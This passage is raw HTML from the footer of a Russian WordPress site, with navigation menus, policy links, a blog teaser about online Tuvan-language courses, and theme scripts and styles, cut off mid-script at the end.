class="elementor-screen-only">Viber</span> <i class="fab fa-viber"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-rss elementor-repeater-item-4414afc" href="#" target="_blank"> <span class="elementor-screen-only">Rss</span> <i class="fas fa-rss"></i> </a> </span> </div> </div> </div> <section data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-section elementor-inner-section elementor-element elementor-element-e6b24cf elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="e6b24cf" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="elementor-row"> <div class="elementor-column elementor-col-20 elementor-inner-column elementor-element elementor-element-30c8f13" data-id="30c8f13" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-913785a elementor-widget elementor-widget-heading" data-id="913785a" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h4 class="elementor-heading-title elementor-size-default">Информация</h4> </div> </div> <div class="elementor-element elementor-element-ec69a69 elementor-align-left elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="ec69a69" data-element_type="widget" data-widget_type="icon-list.default"> <div class="elementor-widget-container"> <ul class="elementor-icon-list-items"> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">О нас</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Помощь</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Портфолио</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Обучение у нас</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Наши услуги</span> </a> </li> </ul> </div> </div> </div> </div> </div> <div class="elementor-column elementor-col-20 elementor-inner-column elementor-element elementor-element-356cda9" data-id="356cda9" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-557bef1 elementor-widget elementor-widget-heading" data-id="557bef1" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h4 class="elementor-heading-title elementor-size-default">Разное</h4> </div> </div> <div class="elementor-element elementor-element-c522a54 elementor-align-left elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="c522a54" data-element_type="widget" data-widget_type="icon-list.default"> <div class="elementor-widget-container"> <ul class="elementor-icon-list-items"> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Акции</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Вопросы и ответы</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-text">Отзывы</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-text">Скидки</span> </a> </li> </ul> </div> </div> </div> </div> </div> <div class="elementor-column elementor-col-20 elementor-inner-column elementor-element elementor-element-3b70787" data-id="3b70787" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-14aba93 elementor-widget elementor-widget-heading" data-id="14aba93" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h4 class="elementor-heading-title elementor-size-default">Клиентам</h4> </div> </div> <div class="elementor-element elementor-element-6e21348 elementor-align-left elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="6e21348" data-element_type="widget" data-widget_type="icon-list.default"> <div class="elementor-widget-container"> <ul class="elementor-icon-list-items"> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Адрес</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-text">Заказать</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-text">Прайс</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-text">Оплата</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Телефон</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">SEO кейсы</span> </a> </li> </ul> </div> </div> </div> </div> </div> <div class="elementor-column elementor-col-20 elementor-inner-column elementor-element elementor-element-3bbee63" data-id="3bbee63" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-9bce4bd elementor-widget elementor-widget-heading" data-id="9bce4bd" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h4 class="elementor-heading-title elementor-size-default">Разделы</h4> </div> </div> <div class="elementor-element elementor-element-c5868cc elementor-align-left elementor-icon-list--layout-traditional elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="c5868cc" data-element_type="widget" data-widget_type="icon-list.default"> <div class="elementor-widget-container"> <ul class="elementor-icon-list-items"> <li class="elementor-icon-list-item"> <a href="/blog"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Блог</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Статьи</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Популярное</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Интересное</span> </a> </li> <li class="elementor-icon-list-item"> <a href="#"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Свежее</span> </a> </li> </ul> </div> </div> </div> </div> </div> <div class="elementor-column elementor-col-20 elementor-inner-column elementor-element elementor-element-da95ff4" data-id="da95ff4" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-b73ea80 elementor-widget elementor-widget-heading" data-id="b73ea80" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h4 class="elementor-heading-title elementor-size-default">Социальные</h4> </div> </div> <div class="elementor-element elementor-element-dbf23d6 elementor-shape-circle e-grid-align-left elementor-grid-0 elementor-widget elementor-widget-social-icons" data-id="dbf23d6" data-element_type="widget" data-widget_type="social-icons.default"> <div class="elementor-widget-container"> <div class="elementor-social-icons-wrapper elementor-grid"> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-twitter elementor-repeater-item-b72bfac" href="#" target="_blank"> <span class="elementor-screen-only">Twitter</span> <i class="fab fa-twitter"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-82b3bad" href="#" target="_blank"> <span class="elementor-screen-only">Youtube</span> <i class="fab fa-youtube"></i> </a> </span> <span class="elementor-grid-item"> <a class="elementor-icon elementor-social-icon elementor-social-icon-telegram elementor-repeater-item-cb9959b" href="#" target="_blank"> <span class="elementor-screen-only">Telegram</span> <i class="fab fa-telegram"></i> </a> </span> </div> </div> </div> </div> </div> </div> </div> </div> </section> <div class="elementor-element elementor-element-a990b88 elementor-align-center elementor-icon-list--layout-inline elementor-list-item-link-full_width elementor-widget elementor-widget-icon-list" data-id="a990b88" data-element_type="widget" data-widget_type="icon-list.default"> <div class="elementor-widget-container"> <ul class="elementor-icon-list-items elementor-inline-items"> <li class="elementor-icon-list-item elementor-inline-item"> <a href="/politika-konfidentsialnosti/"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Политика конфиденциальности</span> </a> </li> <li class="elementor-icon-list-item elementor-inline-item"> <a href="/politika-v-otnoshenii-obrabotki-personalnyh-dannyh/"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Политика в отношении обработки персональных данных</span> </a> </li> <li class="elementor-icon-list-item elementor-inline-item"> <a href="/politika-ispolzovaniya-faylov-cookie/"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Политика использования файлов Cookie</span> </a> </li> <li class="elementor-icon-list-item elementor-inline-item"> <a href="/pravoobladatelyam/"> <span class="elementor-icon-list-icon"> <i aria-hidden="true" class="fas fa-check"></i> </span> <span class="elementor-icon-list-text">Правообладателям</span> </a> </li> </ul> </div> </div> <div class="elementor-element elementor-element-78427a7 elementor-grid-1 elementor-posts--thumbnail-none elementor-grid-tablet-2 elementor-grid-mobile-1 elementor-widget elementor-widget-posts" data-id="78427a7" data-element_type="widget" data-settings="{"classic_columns":"1","classic_columns_tablet":"2","classic_columns_mobile":"1","classic_row_gap":{"unit":"px","size":35,"sizes":[]},"classic_row_gap_tablet":{"unit":"px","size":"","sizes":[]},"classic_row_gap_mobile":{"unit":"px","size":"","sizes":[]}}" data-widget_type="posts.classic"> <div class="elementor-widget-container"> <div class="elementor-posts-container elementor-posts elementor-posts--skin-classic elementor-grid"> <article class="elementor-post elementor-grid-item post-6056 post type-post status-publish format-standard hentry category-blog"> <div class="elementor-posttext"> <p class="elementor-posttitle"> <a href="https://code-craft.ru/blog/tuvinskiy-yazyk-v-epohu-tsifrovizatsii-onlayn-kursy-tyva-dyl-2-0-lite-na-platforme-stepik-dlya-nachinayuschih/" > Тувинский язык в эпоху цифровизации: онлайн-курсы Тыва дыл 2.0 Lite на платформе Stepik для начинающих </a> </p> <div class="elementor-postexcerpt"> <p>Тувинский язык в эпоху цифровизации: онлайн-курсы “Тыва дыл 2.0 Lite” на платформе Stepik для начинающих В эпоху глобализации и культурной интеграции сохранение языкового разнообразия приобретает первостепенное значение. Тувинский язык, как национальное достояние Республики Тыва, нуждается в активной поддержке и популяризации. По данным переписи населения 2010 года, количество носителей тувинского языка составляло около 250 тысяч человек. Однако, наблюдается тенденция к сокращению использования языка в повседневной жизни, особенно среди молодого поколения. Это связано с влиянием русского языка, доступом к информации на других языках и недостаточной представленностью тувинского языка в цифровой среде. В этой связи, изучение тувинского языка становится не просто актом сохранения культуры, но и важным фактором укрепления национальной идентичности. Знание родного языка позволяет понимать и ценить историю и традиции своего народа,</p> </div> <a class="elementor-postread-more" href="https://code-craft.ru/blog/tuvinskiy-yazyk-v-epohu-tsifrovizatsii-onlayn-kursy-tyva-dyl-2-0-lite-na-platforme-stepik-dlya-nachinayuschih/" > Подробнее » </a> </div> </article> </div> </div> </div> <section data-particle_enable="false" data-particle-mobile-disabled="false" class="elementor-section elementor-inner-section elementor-element elementor-element-fb138f2 elementor-section-content-middle elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="fb138f2" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="elementor-row"> <div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-141f206" data-id="141f206" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-163163f elementor-widget elementor-widget-heading" data-id="163163f" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <p class="elementor-heading-title elementor-size-default">© Все права защищены</p> </div> </div> </div> </div> </div> <div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-f52a75e" data-id="f52a75e" data-element_type="column"> <div class="elementor-column-wrap elementor-element-populated"> <div class="elementor-widget-wrap"> <div class="elementor-element elementor-element-d2ccce6 elementor-widget elementor-widget-heading" data-id="d2ccce6" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <p class="elementor-heading-title elementor-size-default">Made with <span style="color: #ff0000;">❤</span> by https://code-craft.ru</p> </div> </div> </div> </div> </div> </div> </div> </section> </div> </div> </div> </div> </div> </footer> </div> </div> </div>  <script>var pseudo_links = document.querySelectorAll(".pseudo-clearfy-link");for (var i=0;i<pseudo_links.length;i++ ) { pseudo_links[i].addEventListener("click", function(e){ window.open( e.target.getAttribute("data-uri") ); }); }</script><script>document.addEventListener("copy", (event) => {var pagelink = "\nИсточник: https://code-craft.ru/blog/nn-variant-1-tovar-giri-nn-title-psihologicheskiy-aspekt-razminki-v-krossfite-s-giryami-iron-king-16kg-nastraivaemsya-na-produktivnuyu-trenirovku";event.clipboardData.setData("text", document.getSelection() + pagelink);event.preventDefault();});</script><div class="eael-reading-progress-wrap eael-reading-progress-wrap-global"><div class="eael-reading-progress eael-reading-progress-global eael-reading-progress-top" style="height: 5px;background-color: ;"> <div class="eael-reading-progress-fill" style="height: 5px;background-color: #474747;transition: width 50ms ease;"></div> </div></div><div id="ast-scroll-top" class="ast-scroll-top-icon ast-scroll-to-top-right" data-on-devices="both"> <span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewBox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve"> <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z"/> </svg></span> <span class="screen-reader-text">Прокрутить наверх</span> </div> <link rel='stylesheet' id='elementor-icons-fa-regular-css' href='https://code-craft.ru/wp-content/plugins/elementor/assets/lib/font-awesome/css/regular.min.css' media='all' /> <style id='global-styles-inline-css'> body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--ast-global-color-0: var(--ast-global-color-0);--wp--preset--color--ast-global-color-1: var(--ast-global-color-1);--wp--preset--color--ast-global-color-2: var(--ast-global-color-2);--wp--preset--color--ast-global-color-3: var(--ast-global-color-3);--wp--preset--color--ast-global-color-4: var(--ast-global-color-4);--wp--preset--color--ast-global-color-5: var(--ast-global-color-5);--wp--preset--color--ast-global-color-6: var(--ast-global-color-6);--wp--preset--color--ast-global-color-7: var(--ast-global-color-7);--wp--preset--color--ast-global-color-8: var(--ast-global-color-8);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--duotone--dark-grayscale: url('#wp-duotone-dark-grayscale');--wp--preset--duotone--grayscale: url('#wp-duotone-grayscale');--wp--preset--duotone--purple-yellow: url('#wp-duotone-purple-yellow');--wp--preset--duotone--blue-red: url('#wp-duotone-blue-red');--wp--preset--duotone--midnight: url('#wp-duotone-midnight');--wp--preset--duotone--magenta-yellow: url('#wp-duotone-magenta-yellow');--wp--preset--duotone--purple-green: url('#wp-duotone-purple-green');--wp--preset--duotone--blue-orange: url('#wp-duotone-blue-orange');--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;}body { margin: 0; }body{--wp--style--block-gap: 24px;}.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }.wp-site-blocks > * { margin-block-start: 0; margin-block-end: 0; }.wp-site-blocks > * + * { margin-block-start: var( --wp--style--block-gap ); }.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-ast-global-color-0-color{color: var(--wp--preset--color--ast-global-color-0) !important;}.has-ast-global-color-1-color{color: var(--wp--preset--color--ast-global-color-1) !important;}.has-ast-global-color-2-color{color: var(--wp--preset--color--ast-global-color-2) !important;}.has-ast-global-color-3-color{color: var(--wp--preset--color--ast-global-color-3) !important;}.has-ast-global-color-4-color{color: var(--wp--preset--color--ast-global-color-4) !important;}.has-ast-global-color-5-color{color: var(--wp--preset--color--ast-global-color-5) !important;}.has-ast-global-color-6-color{color: var(--wp--preset--color--ast-global-color-6) !important;}.has-ast-global-color-7-color{color: var(--wp--preset--color--ast-global-color-7) !important;}.has-ast-global-color-8-color{color: var(--wp--preset--color--ast-global-color-8) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-ast-global-color-0-background-color{background-color: var(--wp--preset--color--ast-global-color-0) !important;}.has-ast-global-color-1-background-color{background-color: var(--wp--preset--color--ast-global-color-1) !important;}.has-ast-global-color-2-background-color{background-color: var(--wp--preset--color--ast-global-color-2) !important;}.has-ast-global-color-3-background-color{background-color: var(--wp--preset--color--ast-global-color-3) !important;}.has-ast-global-color-4-background-color{background-color: var(--wp--preset--color--ast-global-color-4) !important;}.has-ast-global-color-5-background-color{background-color: var(--wp--preset--color--ast-global-color-5) !important;}.has-ast-global-color-6-background-color{background-color: var(--wp--preset--color--ast-global-color-6) !important;}.has-ast-global-color-7-background-color{background-color: var(--wp--preset--color--ast-global-color-7) !important;}.has-ast-global-color-8-background-color{background-color: var(--wp--preset--color--ast-global-color-8) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-ast-global-color-0-border-color{border-color: var(--wp--preset--color--ast-global-color-0) !important;}.has-ast-global-color-1-border-color{border-color: var(--wp--preset--color--ast-global-color-1) !important;}.has-ast-global-color-2-border-color{border-color: var(--wp--preset--color--ast-global-color-2) !important;}.has-ast-global-color-3-border-color{border-color: var(--wp--preset--color--ast-global-color-3) !important;}.has-ast-global-color-4-border-color{border-color: var(--wp--preset--color--ast-global-color-4) !important;}.has-ast-global-color-5-border-color{border-color: var(--wp--preset--color--ast-global-color-5) !important;}.has-ast-global-color-6-border-color{border-color: var(--wp--preset--color--ast-global-color-6) !important;}.has-ast-global-color-7-border-color{border-color: var(--wp--preset--color--ast-global-color-7) !important;}.has-ast-global-color-8-border-color{border-color: var(--wp--preset--color--ast-global-color-8) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} </style> <link rel='stylesheet' id='eael-reading-progress-css' href='https://code-craft.ru/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/css/view/reading-progress.min.css' media='all' /> <link rel='stylesheet' id='e-animations-css' href='https://code-craft.ru/wp-content/plugins/elementor/assets/lib/animations/animations.min.css' media='all' /> <script id='astra-theme-js-js-extra'> var astra = {"break_point":"921","isRtl":"","edit_post_url":"https:\/\/code-craft.ru\/wp-admin\/post.php?post={{id}}&action=edit","ajax_url":"https:\/\/code-craft.ru\/wp-admin\/admin-ajax.php","infinite_count":"2","infinite_total":"0","pagination":"number","infinite_scroll_event":"scroll","no_more_post_message":"\u041d\u0435\u0442 \u043d\u043e\u0432\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f.","grid_layout":"1","site_url":"https:\/\/code-craft.ru","show_comments":"\u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438","masonryEnabled":"","blogMasonryBreakPoint":"921"}; </script> <script src='https://code-craft.ru/wp-content/themes/astra/assets/js/minified/frontend.min.js' id='astra-theme-js-js'></script> <script id='expert-review-scripts-js-extra'> var expert_review_ajax = {"url":"https:\/\/code-craft.ru\/wp-admin\/admin-ajax.php","nonce":"6a35d29187","comment_to_scroll_selector":"","ask_question_link_new_tab":"0","i18n":{"question_popup_name":"\u0418\u043c\u044f","question_popup_email":"Email","question_popup_phone":"\u0422\u0435\u043b\u0435\u0444\u043e\u043d","question_popup_question":"\u0412\u043e\u043f\u0440\u043e\u0441","question_popup_submit":"\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c","question_popup_cancel":"\u041e\u0442\u043c\u0435\u043d\u0430","question_submitted":"\u0412\u043e\u043f\u0440\u043e\u0441 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d","legacy_form":"\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0444\u043e\u0440\u043c\u044b","field_cannot_be_empty":"\u041f\u043e\u043b\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0443\u0441\u0442\u044b\u043c","field_must_be_checked":"\u041f\u043e\u043b\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u043e","consent":"\u0421\u043e\u0433\u043b\u0430\u0441\u0438\u0435 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445"},"consent":null}; </script> <script src='https://code-craft.ru/wp-content/plugins/expert-review/assets/public/js/scripts.min.js' id='expert-review-scripts-js'></script> <script id='astra-addon-js-js-extra'> var astraAddon = {"sticky_active":"","svgIconClose":"<span class=\"ast-icon icon-close\"><svg viewBox=\"0 0 512 512\" aria-hidden=\"true\" role=\"img\" version=\"1.1\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" xmlns:xlink=\"http:\/\/www.w3.org\/1999\/xlink\" width=\"18px\" height=\"18px\">\n <path d=\"M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z\" \/>\n <\/svg><\/span>","is_header_builder_active":"1"}; </script> <script src='https://code-craft.ru/wp-content/uploads/astra-addon/astra-addon-63bbccb188d9b1-18832433.js' id='astra-addon-js-js'></script> <script id='eael-general-js-extra'> var localize = 